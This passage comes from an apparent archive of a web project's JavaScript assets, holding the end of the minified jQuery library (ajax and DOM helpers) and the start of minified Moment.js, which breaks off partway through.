h?p:null},setRequestHeader:function(e,t){return null==h&&(e=s[e.toLowerCase()]=s[e.toLowerCase()]||e,a[e]=t),this},overrideMimeType:function(e){return null==h&&(y.mimeType=e),this},statusCode:function(e){var t;if(e)if(h)T.always(e[T.status]);else for(t in e)w[t]=[w[t],e[t]];return this},abort:function(e){var t=e||u;return c&&c.abort(t),l(0,t),this}};if(x.promise(T),y.url=((e||y.url||Tt.href)+"").replace(Pt,Tt.protocol+"//"),y.type=t.method||t.type||y.method||y.type,y.dataTypes=(y.dataType||"*").toLowerCase().match(P)||[""],null==y.crossDomain){r=E.createElement("a");try{r.href=y.url,r.href=r.href,y.crossDomain=Wt.protocol+"//"+Wt.host!=r.protocol+"//"+r.host}catch(e){y.crossDomain=!0}}if(y.data&&y.processData&&"string"!=typeof y.data&&(y.data=S.param(y.data,y.traditional)),$t(Rt,y,t,T),h)return T;for(i in(g=S.event&&y.global)&&0==S.active++&&S.event.trigger("ajaxStart"),y.type=y.type.toUpperCase(),y.hasContent=!Ot.test(y.type),f=y.url.replace(qt,""),y.hasContent?y.data&&y.processData&&0===(y.contentType||"").indexOf("application/x-www-form-urlencoded")&&(y.data=y.data.replace(Dt,"+")):(o=y.url.slice(f.length),y.data&&(y.processData||"string"==typeof y.data)&&(f+=(Et.test(f)?"&":"?")+y.data,delete y.data),!1===y.cache&&(f=f.replace(Lt,"$1"),o=(Et.test(f)?"&":"?")+"_="+Ct.guid+++o),y.url=f+o),y.ifModified&&(S.lastModified[f]&&T.setRequestHeader("If-Modified-Since",S.lastModified[f]),S.etag[f]&&T.setRequestHeader("If-None-Match",S.etag[f])),(y.data&&y.hasContent&&!1!==y.contentType||t.contentType)&&T.setRequestHeader("Content-Type",y.contentType),T.setRequestHeader("Accept",y.dataTypes[0]&&y.accepts[y.dataTypes[0]]?y.accepts[y.dataTypes[0]]+("*"!==y.dataTypes[0]?", "+It+"; q=0.01":""):y.accepts["*"]),y.headers)T.setRequestHeader(i,y.headers[i]);if(y.beforeSend&&(!1===y.beforeSend.call(v,T,y)||h))return T.abort();if(u="abort",b.add(y.complete),T.done(y.success),T.fail(y.error),c=$t(Mt,y,t,T)){if(T.readyState=1,g&&m.trigger("ajaxSend",[T,y]),h)return T;y.async&&0<y.timeout&&(d=C.setTimeout(function(){T.abort("timeout")},y.timeout));try{h=!1,c.send(a,l)}catch(e){if(h)throw e;l(-1,e)}}else l(-1,"No Transport");function l(e,t,n,r){var i,o,a,s,u,l=t;h||(h=!0,d&&C.clearTimeout(d),c=void 0,p=r||"",T.readyState=0<e?4:0,i=200<=e&&e<300||304===e,n&&(s=function(e,t,n){var r,i,o,a,s=e.contents,u=e.dataTypes;while("*"===u[0])u.shift(),void 0===r&&(r=e.mimeType||t.getResponseHeader("Content-Type"));if(r)for(i in s)if(s[i]&&s[i].test(r)){u.unshift(i);break}if(u[0]in n)o=u[0];else{for(i in n){if(!u[0]||e.converters[i+" "+u[0]]){o=i;break}a||(a=i)}o=o||a}if(o)return o!==u[0]&&u.unshift(o),n[o]}(y,T,n)),!i&&-1<S.inArray("script",y.dataTypes)&&S.inArray("json",y.dataTypes)<0&&(y.converters["text script"]=function(){}),s=function(e,t,n,r){var i,o,a,s,u,l={},c=e.dataTypes.slice();if(c[1])for(a in e.converters)l[a.toLowerCase()]=e.converters[a];o=c.shift();while(o)if(e.responseFields[o]&&(n[e.responseFields[o]]=t),!u&&r&&e.dataFilter&&(t=e.dataFilter(t,e.dataType)),u=o,o=c.shift())if("*"===o)o=u;else if("*"!==u&&u!==o){if(!(a=l[u+" "+o]||l["* "+o]))for(i in l)if((s=i.split(" "))[1]===o&&(a=l[u+" "+s[0]]||l["* "+s[0]])){!0===a?a=l[i]:!0!==l[i]&&(o=s[0],c.unshift(s[1]));break}if(!0!==a)if(a&&e["throws"])t=a(t);else try{t=a(t)}catch(e){return{state:"parsererror",error:a?e:"No conversion from "+u+" to "+o}}}return{state:"success",data:t}}(y,s,T,i),i?(y.ifModified&&((u=T.getResponseHeader("Last-Modified"))&&(S.lastModified[f]=u),(u=T.getResponseHeader("etag"))&&(S.etag[f]=u)),204===e||"HEAD"===y.type?l="nocontent":304===e?l="notmodified":(l=s.state,o=s.data,i=!(a=s.error))):(a=l,!e&&l||(l="error",e<0&&(e=0))),T.status=e,T.statusText=(t||l)+"",i?x.resolveWith(v,[o,l,T]):x.rejectWith(v,[T,l,a]),T.statusCode(w),w=void 0,g&&m.trigger(i?"ajaxSuccess":"ajaxError",[T,y,i?o:a]),b.fireWith(v,[T,l]),g&&(m.trigger("ajaxComplete",[T,y]),--S.active||S.event.trigger("ajaxStop")))}return T},getJSON:function(e,t,n){return S.get(e,t,n,"json")},getScript:function(e,t){return S.get(e,void 0,t,"script")}}),S.each(["get","post"],function(e,i){S[i]=function(e,t,n,r){return m(t)&&(r=r||n,n=t,t=void 0),S.ajax(S.extend({url:e,type:i,dataType:r,data:t,success:n},S.isPlainObject(e)&&e))}}),S.ajaxPrefilter(function(e){var t;for(t in e.headers)"content-type"===t.toLowerCase()&&(e.contentType=e.headers[t]||"")}),S._evalUrl=function(e,t,n){return S.ajax({url:e,type:"GET",dataType:"script",cache:!0,async:!1,global:!1,converters:{"text script":function(){}},dataFilter:function(e){S.globalEval(e,t,n)}})},S.fn.extend({wrapAll:function(e){var t;return this[0]&&(m(e)&&(e=e.call(this[0])),t=S(e,this[0].ownerDocument).eq(0).clone(!0),this[0].parentNode&&t.insertBefore(this[0]),t.map(function(){var e=this;while(e.firstElementChild)e=e.firstElementChild;return e}).append(this)),this},wrapInner:function(n){return m(n)?this.each(function(e){S(this).wrapInner(n.call(this,e))}):this.each(function(){var e=S(this),t=e.contents();t.length?t.wrapAll(n):e.append(n)})},wrap:function(t){var n=m(t);return this.each(function(e){S(this).wrapAll(n?t.call(this,e):t)})},unwrap:function(e){return this.parent(e).not("body").each(function(){S(this).replaceWith(this.childNodes)}),this}}),S.expr.pseudos.hidden=function(e){return!S.expr.pseudos.visible(e)},S.expr.pseudos.visible=function(e){return!!(e.offsetWidth||e.offsetHeight||e.getClientRects().length)},S.ajaxSettings.xhr=function(){try{return new C.XMLHttpRequest}catch(e){}};var _t={0:200,1223:204},zt=S.ajaxSettings.xhr();v.cors=!!zt&&"withCredentials"in zt,v.ajax=zt=!!zt,S.ajaxTransport(function(i){var o,a;if(v.cors||zt&&!i.crossDomain)return{send:function(e,t){var n,r=i.xhr();if(r.open(i.type,i.url,i.async,i.username,i.password),i.xhrFields)for(n in i.xhrFields)r[n]=i.xhrFields[n];for(n in i.mimeType&&r.overrideMimeType&&r.overrideMimeType(i.mimeType),i.crossDomain||e["X-Requested-With"]||(e["X-Requested-With"]="XMLHttpRequest"),e)r.setRequestHeader(n,e[n]);o=function(e){return function(){o&&(o=a=r.onload=r.onerror=r.onabort=r.ontimeout=r.onreadystatechange=null,"abort"===e?r.abort():"error"===e?"number"!=typeof r.status?t(0,"error"):t(r.status,r.statusText):t(_t[r.status]||r.status,r.statusText,"text"!==(r.responseType||"text")||"string"!=typeof r.responseText?{binary:r.response}:{text:r.responseText},r.getAllResponseHeaders()))}},r.onload=o(),a=r.onerror=r.ontimeout=o("error"),void 0!==r.onabort?r.onabort=a:r.onreadystatechange=function(){4===r.readyState&&C.setTimeout(function(){o&&a()})},o=o("abort");try{r.send(i.hasContent&&i.data||null)}catch(e){if(o)throw e}},abort:function(){o&&o()}}}),S.ajaxPrefilter(function(e){e.crossDomain&&(e.contents.script=!1)}),S.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/\b(?:java|ecma)script\b/},converters:{"text script":function(e){return S.globalEval(e),e}}}),S.ajaxPrefilter("script",function(e){void 0===e.cache&&(e.cache=!1),e.crossDomain&&(e.type="GET")}),S.ajaxTransport("script",function(n){var r,i;if(n.crossDomain||n.scriptAttrs)return{send:function(e,t){r=S("<script>").attr(n.scriptAttrs||{}).prop({charset:n.scriptCharset,src:n.url}).on("load error",i=function(e){r.remove(),i=null,e&&t("error"===e.type?404:200,e.type)}),E.head.appendChild(r[0])},abort:function(){i&&i()}}});var Ut,Xt=[],Vt=/(=)\?(?=&|$)|\?\?/;S.ajaxSetup({jsonp:"callback",jsonpCallback:function(){var e=Xt.pop()||S.expando+"_"+Ct.guid++;return this[e]=!0,e}}),S.ajaxPrefilter("json jsonp",function(e,t,n){var r,i,o,a=!1!==e.jsonp&&(Vt.test(e.url)?"url":"string"==typeof e.data&&0===(e.contentType||"").indexOf("application/x-www-form-urlencoded")&&Vt.test(e.data)&&"data");if(a||"jsonp"===e.dataTypes[0])return r=e.jsonpCallback=m(e.jsonpCallback)?e.jsonpCallback():e.jsonpCallback,a?e[a]=e[a].replace(Vt,"$1"+r):!1!==e.jsonp&&(e.url+=(Et.test(e.url)?"&":"?")+e.jsonp+"="+r),e.converters["script json"]=function(){return o||S.error(r+" was not called"),o[0]},e.dataTypes[0]="json",i=C[r],C[r]=function(){o=arguments},n.always(function(){void 0===i?S(C).removeProp(r):C[r]=i,e[r]&&(e.jsonpCallback=t.jsonpCallback,Xt.push(r)),o&&m(i)&&i(o[0]),o=i=void 0}),"script"}),v.createHTMLDocument=((Ut=E.implementation.createHTMLDocument("").body).innerHTML="<form></form><form></form>",2===Ut.childNodes.length),S.parseHTML=function(e,t,n){return"string"!=typeof e?[]:("boolean"==typeof t&&(n=t,t=!1),t||(v.createHTMLDocument?((r=(t=E.implementation.createHTMLDocument("")).createElement("base")).href=E.location.href,t.head.appendChild(r)):t=E),o=!n&&[],(i=N.exec(e))?[t.createElement(i[1])]:(i=xe([e],t,o),o&&o.length&&S(o).remove(),S.merge([],i.childNodes)));var r,i,o},S.fn.load=function(e,t,n){var r,i,o,a=this,s=e.indexOf(" ");return-1<s&&(r=yt(e.slice(s)),e=e.slice(0,s)),m(t)?(n=t,t=void 0):t&&"object"==typeof t&&(i="POST"),0<a.length&&S.ajax({url:e,type:i||"GET",dataType:"html",data:t}).done(function(e){o=arguments,a.html(r?S("<div>").append(S.parseHTML(e)).find(r):e)}).always(n&&function(e,t){a.each(function(){n.apply(this,o||[e.responseText,t,e])})}),this},S.expr.pseudos.animated=function(t){return S.grep(S.timers,function(e){return t===e.elem}).length},S.offset={setOffset:function(e,t,n){var r,i,o,a,s,u,l=S.css(e,"position"),c=S(e),f={};"static"===l&&(e.style.position="relative"),s=c.offset(),o=S.css(e,"top"),u=S.css(e,"left"),("absolute"===l||"fixed"===l)&&-1<(o+u).indexOf("auto")?(a=(r=c.position()).top,i=r.left):(a=parseFloat(o)||0,i=parseFloat(u)||0),m(t)&&(t=t.call(e,n,S.extend({},s))),null!=t.top&&(f.top=t.top-s.top+a),null!=t.left&&(f.left=t.left-s.left+i),"using"in t?t.using.call(e,f):c.css(f)}},S.fn.extend({offset:function(t){if(arguments.length)return void 0===t?this:this.each(function(e){S.offset.setOffset(this,t,e)});var e,n,r=this[0];return r?r.getClientRects().length?(e=r.getBoundingClientRect(),n=r.ownerDocument.defaultView,{top:e.top+n.pageYOffset,left:e.left+n.pageXOffset}):{top:0,left:0}:void 0},position:function(){if(this[0]){var e,t,n,r=this[0],i={top:0,left:0};if("fixed"===S.css(r,"position"))t=r.getBoundingClientRect();else{t=this.offset(),n=r.ownerDocument,e=r.offsetParent||n.documentElement;while(e&&(e===n.body||e===n.documentElement)&&"static"===S.css(e,"position"))e=e.parentNode;e&&e!==r&&1===e.nodeType&&((i=S(e).offset()).top+=S.css(e,"borderTopWidth",!0),i.left+=S.css(e,"borderLeftWidth",!0))}return{top:t.top-i.top-S.css(r,"marginTop",!0),left:t.left-i.left-S.css(r,"marginLeft",!0)}}},offsetParent:function(){return this.map(function(){var e=this.offsetParent;while(e&&"static"===S.css(e,"position"))e=e.offsetParent;return e||re})}}),S.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(t,i){var o="pageYOffset"===i;S.fn[t]=function(e){return B(this,function(e,t,n){var r;if(x(e)?r=e:9===e.nodeType&&(r=e.defaultView),void 0===n)return r?r[i]:e[t];r?r.scrollTo(o?r.pageXOffset:n,o?n:r.pageYOffset):e[t]=n},t,e,arguments.length)}}),S.each(["top","left"],function(e,n){S.cssHooks[n]=_e(v.pixelPosition,function(e,t){if(t)return t=Be(e,n),Pe.test(t)?S(e).position()[n]+"px":t})}),S.each({Height:"height",Width:"width"},function(a,s){S.each({padding:"inner"+a,content:s,"":"outer"+a},function(r,o){S.fn[o]=function(e,t){var n=arguments.length&&(r||"boolean"!=typeof e),i=r||(!0===e||!0===t?"margin":"border");return B(this,function(e,t,n){var r;return x(e)?0===o.indexOf("outer")?e["inner"+a]:e.document.documentElement["client"+a]:9===e.nodeType?(r=e.documentElement,Math.max(e.body["scroll"+a],r["scroll"+a],e.body["offset"+a],r["offset"+a],r["client"+a])):void 0===n?S.css(e,t,i):S.style(e,t,n,i)},s,n?e:void 0,n)}})}),S.each(["ajaxStart","ajaxStop","ajaxComplete","ajaxError","ajaxSuccess","ajaxSend"],function(e,t){S.fn[t]=function(e){return this.on(t,e)}}),S.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,"**"):this.off(t,e||"**",n)},hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),S.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "),function(e,n){S.fn[n]=function(e,t){return 0<arguments.length?this.on(n,null,e,t):this.trigger(n)}});var Gt=/^[\s\uFEFF\xA0]+|([^\s\uFEFF\xA0])[\s\uFEFF\xA0]+$/g;S.proxy=function(e,t){var n,r,i;if("string"==typeof t&&(n=e[t],t=e,e=n),m(e))return r=s.call(arguments,2),(i=function(){return e.apply(t||this,r.concat(s.call(arguments)))}).guid=e.guid=e.guid||S.guid++,i},S.holdReady=function(e){e?S.readyWait++:S.ready(!0)},S.isArray=Array.isArray,S.parseJSON=JSON.parse,S.nodeName=A,S.isFunction=m,S.isWindow=x,S.camelCase=X,S.type=w,S.now=Date.now,S.isNumeric=function(e){var t=S.type(e);return("number"===t||"string"===t)&&!isNaN(e-parseFloat(e))},S.trim=function(e){return null==e?"":(e+"").replace(Gt,"$1")},"function"==typeof define&&define.amd&&define("jquery",[],function(){return S});var Yt=C.jQuery,Qt=C.$;return S.noConflict=function(e){return C.$===S&&(C.$=Qt),e&&C.jQuery===S&&(C.jQuery=Yt),S},"undefined"==typeof e&&(C.jQuery=C.$=S),S});
js/moment.min.js000066600000161320151150443030007602 0ustar00!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):e.moment=t()}(this,function(){"use strict";var H;function f(){return H.apply(null,arguments)}function a(e){return e instanceof Array||"[object Array]"===Object.prototype.toString.call(e)}function F(e){return null!=e&&"[object Object]"===Object.prototype.toString.call(e)}function c(e,t){return Object.prototype.hasOwnProperty.call(e,t)}function L(e){if(Object.getOwnPropertyNames)return 0===Object.getOwnPropertyNames(e).length;for(var t in e)if(c(e,t))return;return 1}function o(e){return void 0===e}function u(e){return"number"==typeof e||"[object Number]"===Object.prototype.toString.call(e)}function V(e){return e instanceof Date||"[object Date]"===Object.prototype.toString.call(e)}function G(e,t){for(var n=[],s=e.length,i=0;i<s;++i)n.push(t(e[i],i));return n}function E(e,t){for(var n in t)c(t,n)&&(e[n]=t[n]);return c(t,"toString")&&(e.toString=t.toString),c(t,"valueOf")&&(e.valueOf=t.valueOf),e}function l(e,t,n,s){return Pt(e,t,n,s,!0).utc()}function m(e){return null==e._pf&&(e._pf={empty:!1,unusedTokens:[],unusedInput:[],overflow:-2,charsLeftOver:0,nullInput:!1,invalidEra:null,invalidMonth:null,invalidFormat:!1,userInvalidated:!1,iso:!1,parsedDateParts:[],era:null,meridiem:null,rfc2822:!1,weekdayMismatch:!1}),e._pf}function A(e){if(null==e._isValid){var t=m(e),n=j.call(t.parsedDateParts,function(e){return null!=e}),n=!isNaN(e._d.getTime())&&t.overflow<0&&!t.empty&&!t.invalidEra&&!t.invalidMonth&&!t.invalidWeekday&&!t.weekdayMismatch&&!t.nullInput&&!t.invalidFormat&&!t.userInvalidated&&(!t.meridiem||t.meridiem&&n);if(e._strict&&(n=n&&0===t.charsLeftOver&&0===t.unusedTokens.length&&void 0===t.bigHour),null!=Object.isFrozen&&Object.isFrozen(e))return n;e._isValid=n}return e._isValid}function I(e){var t=l(NaN);return null!=e?E(m(t),e):m(t).userInvalidated=!0,t}var j=Array.prototype.some||function(e){for(var t=Object(this),n=t.length>>>0,s=0;s<n;s++)if(s in t&&e.call(this,t[s],s,t))return!0;return!1},Z=f.momentProperties=[],z=!1;function $(e,t){var n,s,i,r=Z.length;if(o(t._isAMomentObject)||(e._isAMomentObject=t._isAMomentObject),o(t._i)||(e._i=t._i),o(t._f)||(e._f=t._f),o(t._l)||(e._l=t._l),o(t._strict)||(e._strict=t._strict),o(t._tzm)||(e._tzm=t._tzm),o(t._isUTC)||(e._isUTC=t._isUTC),o(t._offset)||(e._offset=t._offset),o(t._pf)||(e._pf=m(t)),o(t._locale)||(e._locale=t._locale),0<r)for(n=0;n<r;n++)o(i=t[s=Z[n]])||(e[s]=i);return e}function q(e){$(this,e),this._d=new Date(null!=e._d?e._d.getTime():NaN),this.isValid()||(this._d=new Date(NaN)),!1===z&&(z=!0,f.updateOffset(this),z=!1)}function h(e){return e instanceof q||null!=e&&null!=e._isAMomentObject}function B(e){!1===f.suppressDeprecationWarnings&&"undefined"!=typeof console&&console.warn&&console.warn("Deprecation warning: "+e)}function e(r,a){var o=!0;return E(function(){if(null!=f.deprecationHandler&&f.deprecationHandler(null,r),o){for(var e,t,n=[],s=arguments.length,i=0;i<s;i++){if(e="","object"==typeof arguments[i]){for(t in e+="\n["+i+"] ",arguments[0])c(arguments[0],t)&&(e+=t+": "+arguments[0][t]+", ");e=e.slice(0,-2)}else e=arguments[i];n.push(e)}B(r+"\nArguments: "+Array.prototype.slice.call(n).join("")+"\n"+(new Error).stack),o=!1}return a.apply(this,arguments)},a)}var J={};function Q(e,t){null!=f.deprecationHandler&&f.deprecationHandler(e,t),J[e]||(B(t),J[e]=!0)}function d(e){return"undefined"!=typeof Function&&e instanceof Function||"[object Function]"===Object.prototype.toString.call(e)}function X(e,t){var n,s=E({},e);for(n in t)c(t,n)&&(F(e[n])&&F(t[n])?(s[n]={},E(s[n],e[n]),E(s[n],t[n])):null!=t[n]?s[n]=t[n]:delete s[n]);for(n in e)c(e,n)&&!c(t,n)&&F(e[n])&&(s[n]=E({},s[n]));return s}function K(e){null!=e&&this.set(e)}f.suppressDeprecationWarnings=!1,f.deprecationHandler=null;var ee=Object.keys||function(e){var t,n=[];for(t in e)c(e,t)&&n.push(t);return n};function r(e,t,n){var s=""+Math.abs(e);return(0<=e?n?"+":"":"-")+Math.pow(10,Math.max(0,t-s.length)).toString().substr(1)+s}var te=/(\[[^\[]*\])|(\\)?([Hh]mm(ss)?|Mo|MM?M?M?|Do|DDDo|DD?D?D?|ddd?d?|do?|w[o|w]?|W[o|W]?|Qo?|N{1,5}|YYYYYY|YYYYY|YYYY|YY|y{2,4}|yo?|gg(ggg?)?|GG(GGG?)?|e|E|a|A|hh?|HH?|kk?|mm?|ss?|S{1,9}|x|X|zz?|ZZ?|.)/g,ne=/(\[[^\[]*\])|(\\)?(LTS|LT|LL?L?L?|l{1,4})/g,se={},ie={};function s(e,t,n,s){var i="string"==typeof s?function(){return this[s]()}:s;e&&(ie[e]=i),t&&(ie[t[0]]=function(){return r(i.apply(this,arguments),t[1],t[2])}),n&&(ie[n]=function(){return this.localeData().ordinal(i.apply(this,arguments),e)})}function re(e,t){return e.isValid()?(t=ae(t,e.localeData()),se[t]=se[t]||function(s){for(var e,i=s.match(te),t=0,r=i.length;t<r;t++)ie[i[t]]?i[t]=ie[i[t]]:i[t]=(e=i[t]).match(/\[[\s\S]/)?e.replace(/^\[|\]$/g,""):e.replace(/\\/g,"");return function(e){for(var t="",n=0;n<r;n++)t+=d(i[n])?i[n].call(e,s):i[n];return t}}(t),se[t](e)):e.localeData().invalidDate()}function ae(e,t){var n=5;function s(e){return t.longDateFormat(e)||e}for(ne.lastIndex=0;0<=n&&ne.test(e);)e=e.replace(ne,s),ne.lastIndex=0,--n;return e}var oe={};function t(e,t){var n=e.toLowerCase();oe[n]=oe[n+"s"]=oe[t]=e}function _(e){return"string"==typeof e?oe[e]||oe[e.toLowerCase()]:void 0}function ue(e){var t,n,s={};for(n in e)c(e,n)&&(t=_(n))&&(s[t]=e[n]);return s}var le={};function n(e,t){le[e]=t}function he(e){return e%4==0&&e%100!=0||e%400==0}function y(e){return e<0?Math.ceil(e)||0:Math.floor(e)}function g(e){var e=+e,t=0;return t=0!=e&&isFinite(e)?y(e):t}function de(t,n){return function(e){return null!=e?(fe(this,t,e),f.updateOffset(this,n),this):ce(this,t)}}function ce(e,t){return e.isValid()?e._d["get"+(e._isUTC?"UTC":"")+t]():NaN}function fe(e,t,n){e.isValid()&&!isNaN(n)&&("FullYear"===t&&he(e.year())&&1===e.month()&&29===e.date()?(n=g(n),e._d["set"+(e._isUTC?"UTC":"")+t](n,e.month(),We(n,e.month()))):e._d["set"+(e._isUTC?"UTC":"")+t](n))}var i=/\d/,w=/\d\d/,me=/\d{3}/,_e=/\d{4}/,ye=/[+-]?\d{6}/,p=/\d\d?/,ge=/\d\d\d\d?/,we=/\d\d\d\d\d\d?/,pe=/\d{1,3}/,ke=/\d{1,4}/,ve=/[+-]?\d{1,6}/,Me=/\d+/,De=/[+-]?\d+/,Se=/Z|[+-]\d\d:?\d\d/gi,Ye=/Z|[+-]\d\d(?::?\d\d)?/gi,k=/[0-9]{0,256}['a-z\u00A0-\u05FF\u0700-\uD7FF\uF900-\uFDCF\uFDF0-\uFF07\uFF10-\uFFEF]{1,256}|[\u0600-\u06FF\/]{1,256}(\s*?[\u0600-\u06FF]{1,256}){1,2}/i;function v(e,n,s){be[e]=d(n)?n:function(e,t){return e&&s?s:n}}function Oe(e,t){return c(be,e)?be[e](t._strict,t._locale):new RegExp(M(e.replace("\\","").replace(/\\(\[)|\\(\])|\[([^\]\[]*)\]|\\(.)/g,function(e,t,n,s,i){return t||n||s||i})))}function M(e){return e.replace(/[-\/\\^$*+?.()|[\]{}]/g,"\\$&")}var be={},xe={};function D(e,n){var t,s,i=n;for("string"==typeof e&&(e=[e]),u(n)&&(i=function(e,t){t[n]=g(e)}),s=e.length,t=0;t<s;t++)xe[e[t]]=i}function Te(e,i){D(e,function(e,t,n,s){n._w=n._w||{},i(e,n._w,n,s)})}var S,Y=0,O=1,b=2,x=3,T=4,N=5,Ne=6,Pe=7,Re=8;function We(e,t){if(isNaN(e)||isNaN(t))return NaN;var n=(t%(n=12)+n)%n;return e+=(t-n)/12,1==n?he(e)?29:28:31-n%7%2}S=Array.prototype.indexOf||function(e){for(var t=0;t<this.length;++t)if(this[t]===e)return t;return-1},s("M",["MM",2],"Mo",function(){return this.month()+1}),s("MMM",0,0,function(e){return this.localeData().monthsShort(this,e)}),s("MMMM",0,0,function(e){return this.localeData().months(this,e)}),t("month","M"),n("month",8),v("M",p),v("MM",p,w),v("MMM",function(e,t){return t.monthsShortRegex(e)}),v("MMMM",function(e,t){return t.monthsRegex(e)}),D(["M","MM"],function(e,t){t[O]=g(e)-1}),D(["MMM","MMMM"],function(e,t,n,s){s=n._locale.monthsParse(e,s,n._strict);null!=s?t[O]=s:m(n).invalidMonth=e});var Ce="January_February_March_April_May_June_July_August_September_October_November_December".split("_"),Ue="Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec".split("_"),He=/D[oD]?(\[[^\[\]]*\]|\s)+MMMM?/,Fe=k,Le=k;function Ve(e,t){var n;if(e.isValid()){if("string"==typeof t)if(/^\d+$/.test(t))t=g(t);else if(!u(t=e.localeData().monthsParse(t)))return;n=Math.min(e.date(),We(e.year(),t)),e._d["set"+(e._isUTC?"UTC":"")+"Month"](t,n)}}function Ge(e){return null!=e?(Ve(this,e),f.updateOffset(this,!0),this):ce(this,"Month")}function Ee(){function e(e,t){return t.length-e.length}for(var t,n=[],s=[],i=[],r=0;r<12;r++)t=l([2e3,r]),n.push(this.monthsShort(t,"")),s.push(this.months(t,"")),i.push(this.months(t,"")),i.push(this.monthsShort(t,""));for(n.sort(e),s.sort(e),i.sort(e),r=0;r<12;r++)n[r]=M(n[r]),s[r]=M(s[r]);for(r=0;r<24;r++)i[r]=M(i[r]);this._monthsRegex=new RegExp("^("+i.join("|")+")","i"),this._monthsShortRegex=this._monthsRegex,this._monthsStrictRegex=new RegExp("^("+s.join("|")+")","i"),this._monthsShortStrictRegex=new RegExp("^("+n.join("|")+")","i")}function Ae(e){return he(e)?366:365}s("Y",0,0,function(){var e=this.year();return e<=9999?r(e,4):"+"+e}),s(0,["YY",2],0,function(){return this.year()%100}),s(0,["YYYY",4],0,"year"),s(0,["YYYYY",5],0,"year"),s(0,["YYYYYY",6,!0],0,"year"),t("year","y"),n("year",1),v("Y",De),v("YY",p,w),v("YYYY",ke,_e),v("YYYYY",ve,ye),v("YYYYYY",ve,ye),D(["YYYYY","YYYYYY"],Y),D("YYYY",function(e,t){t[Y]=2===e.length?f.parseTwoDigitYear(e):g(e)}),D("YY",function(e,t){t[Y]=f.parseTwoDigitYear(e)}),D("Y",function(e,t){t[Y]=parseInt(e,10)}),f.parseTwoDigitYear=function(e){return g(e)+(68<g(e)?1900:2e3)};var Ie=de("FullYear",!0);function je(e,t,n,s,i,r,a){var o;return e<100&&0<=e?(o=new Date(e+400,t,n,s,i,r,a),isFinite(o.getFullYear())&&o.setFullYear(e)):o=new Date(e,t,n,s,i,r,a),o}function Ze(e){var t;return e<100&&0<=e?((t=Array.prototype.slice.call(arguments))[0]=e+400,t=new Date(Date.UTC.apply(null,t)),isFinite(t.getUTCFullYear())&&t.setUTCFullYear(e)):t=new Date(Date.UTC.apply(null,arguments)),t}function ze(e,t,n){n=7+t-n;return n-(7+Ze(e,0,n).getUTCDay()-t)%7-1}function $e(e,t,n,s,i){var r,t=1+7*(t-1)+(7+n-s)%7+ze(e,s,i),n=t<=0?Ae(r=e-1)+t:t>Ae(e)?(r=e+1,t-Ae(e)):(r=e,t);return{year:r,dayOfYear:n}}function qe(e,t,n){var s,i,r=ze(e.year(),t,n),r=Math.floor((e.dayOfYear()-r-1)/7)+1;return r<1?s=r+P(i=e.year()-1,t,n):r>P(e.year(),t,n)?(s=r-P(e.year(),t,n),i=e.year()+1):(i=e.year(),s=r),{week:s,year:i}}function P(e,t,n){var s=ze(e,t,n),t=ze(e+1,t,n);return(Ae(e)-s+t)/7}s("w",["ww",2],"wo","week"),s("W",["WW",2],"Wo","isoWeek"),t("week","w"),t("isoWeek","W"),n("week",5),n("isoWeek",5),v("w",p),v("ww",p,w),v("W",p),v("WW",p,w),Te(["w","ww","W","WW"],function(e,t,n,s){t[s.substr(0,1)]=g(e)});function Be(e,t){return e.slice(t,7).concat(e.slice(0,t))}s("d",0,"do","day"),s("dd",0,0,function(e){return this.localeData().weekdaysMin(this,e)}),s("ddd",0,0,function(e){return this.localeData().weekdaysShort(this,e)}),s("dddd",0,0,function(e){return this.localeData().weekdays(this,e)}),s("e",0,0,"weekday"),s("E",0,0,"isoWeekday"),t("day","d"),t("weekday","e"),t("isoWeekday","E"),n("day",11),n("weekday",11),n("isoWeekday",11),v("d",p),v("e",p),v("E",p),v("dd",function(e,t){return t.weekdaysMinRegex(e)}),v("ddd",function(e,t){return t.weekdaysShortRegex(e)}),v("dddd",function(e,t){return t.weekdaysRegex(e)}),Te(["dd","ddd","dddd"],function(e,t,n,s){s=n._locale.weekdaysParse(e,s,n._strict);null!=s?t.d=s:m(n).invalidWeekday=e}),Te(["d","e","E"],function(e,t,n,s){t[s]=g(e)});var Je="Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday".split("_"),Qe="Sun_Mon_Tue_Wed_Thu_Fri_Sat".split("_"),Xe="Su_Mo_Tu_We_Th_Fr_Sa".split("_"),Ke=k,et=k,tt=k;function nt(){function e(e,t){return t.length-e.length}for(var t,n,s,i=[],r=[],a=[],o=[],u=0;u<7;u++)s=l([2e3,1]).day(u),t=M(this.weekdaysMin(s,"")),n=M(this.weekdaysShort(s,"")),s=M(this.weekdays(s,"")),i.push(t),r.push(n),a.push(s),o.push(t),o.push(n),o.push(s);i.sort(e),r.sort(e),a.sort(e),o.sort(e),this._weekdaysRegex=new RegExp("^("+o.join("|")+")","i"),this._weekdaysShortRegex=this._weekdaysRegex,this._weekdaysMinRegex=this._weekdaysRegex,this._weekdaysStrictRegex=new RegExp("^("+a.join("|")+")","i"),this._weekdaysShortStrictRegex=new RegExp("^("+r.join("|")+")","i"),this._weekdaysMinStrictRegex=new RegExp("^("+i.join("|")+")","i")}function st(){return this.hours()%12||12}function it(e,t){s(e,0,0,function(){return this.localeData().meridiem(this.hours(),this.minutes(),t)})}function rt(e,t){return t._meridiemParse}s("H",["HH",2],0,"hour"),s("h",["hh",2],0,st),s("k",["kk",2],0,function(){return 